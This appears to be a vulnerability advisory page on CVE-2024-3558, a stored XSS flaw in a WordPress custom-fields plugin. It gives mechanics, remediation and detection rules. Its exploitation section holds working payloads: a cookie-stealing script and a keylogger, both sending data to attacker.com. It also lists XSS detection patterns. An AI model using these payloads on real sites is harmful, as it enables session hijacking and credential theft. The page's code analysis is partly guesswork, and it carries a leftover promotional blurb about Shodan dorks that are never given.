CVE-2024-3558
Executive Summary
CVE-2024-3558 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite plugin for WordPress, affecting versions up to and including 2.6.7. The flaw resides in the cfs[post_title] parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability is part of the WordPress ecosystem and does not implicate Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the attack. The EPSS score is 0.0%, indicating low exploitation probability at the time of analysis, but the lack of a patch makes it a persistent risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the absence of a patch means that users must rely on manual mitigation or removal.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): None (N) – No user interaction is required for the initial injection.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can lead to privilege escalation and lateral movement within the WordPress admin panel.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress Custom Field Suite plugin. The plugin allows users to create custom fields for posts and pages. The cfs[post_title] parameter is used to set the title of a custom field group. When an authenticated user with contributor-level access or higher creates or edits a custom field group, the plugin fails to properly sanitize the input and escape the output.
Attack Flow:
- An attacker with contributor-level access logs into WordPress.
- The attacker navigates to the Custom Field Suite admin page and creates a new field group.
- In the
cfs[post_title]field, the attacker injects a malicious JavaScript payload, e.g.,<script>alert('XSS')</script>. - The plugin stores the payload in the database without proper sanitization.
- When any user (including administrators) views the field group list or a page that displays the field group title, the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to malicious sites.
The vulnerability is due to the use of echo or _e() functions without escaping, or the use of esc_html() incorrectly. The plugin likely outputs the post_title value directly into HTML without using esc_attr() or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's admin interface. A typical vulnerable pattern would be:
Vulnerable Code (PHP):
echo $field_group->post_title;
Patched Code (PHP):
echo esc_html( $field_group->post_title );
The patched version would use esc_html() to escape the output, preventing script execution. Additionally, input sanitization should be applied using sanitize_text_field() or wp_kses_post().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Custom Field Suite plugin version <= 2.6.7.
- An authenticated user account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to
Custom Fields>Add New. - In the
Titlefield, enter the following payload:<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the field group.
- Wait for an administrator to view the field group list or any page that displays the title.
- The administrator's browser will execute the script, sending their cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual field group titles containing
<script>tags or event handlers. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST parameters.
- Review WordPress logs for suspicious activity from contributor accounts.
Defense:
- Disable the Custom Field Suite plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File System: Presence of the Custom Field Suite plugin in
/wp-content/plugins/custom-field-suite/. - Database: Entries in the
wp_poststable withpost_type=cfsandpost_titlecontaining JavaScript code. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug logs showing unexpected output in field group titles.
Detection Engineering
YARA Rule
rule CVE_2024_3558_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom Field Suite post_title"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3558"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Stored XSS via Custom Field Suite Plugin
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Custom Field Suite post_title parameter
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/admin-ajax.php'
http.body: 'action=cfs_ajax&cfs[post_title]=*'
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in field titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3558 Stored XSS in Custom Field Suite"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cfs_ajax"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Custom Field Suite plugin until a patched version is released.
- Audit existing field groups – Review all custom field group titles for malicious content and remove any suspicious entries.
- Reset compromised accounts – If any administrator accounts were affected, force password resets and revoke session tokens.
Long-term Mitigation:
- Monitor the plugin's official page for updates and apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce the principle of least privilege – limit contributor-level access to only trusted users.
- Regularly scan WordPress installations for vulnerable plugins using tools like WPScan.
Workaround:
- If the plugin cannot be disabled, manually edit the plugin's PHP files to add
esc_html()around thepost_titleoutput. However, this is not recommended as it may break functionality and will be overwritten on update.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.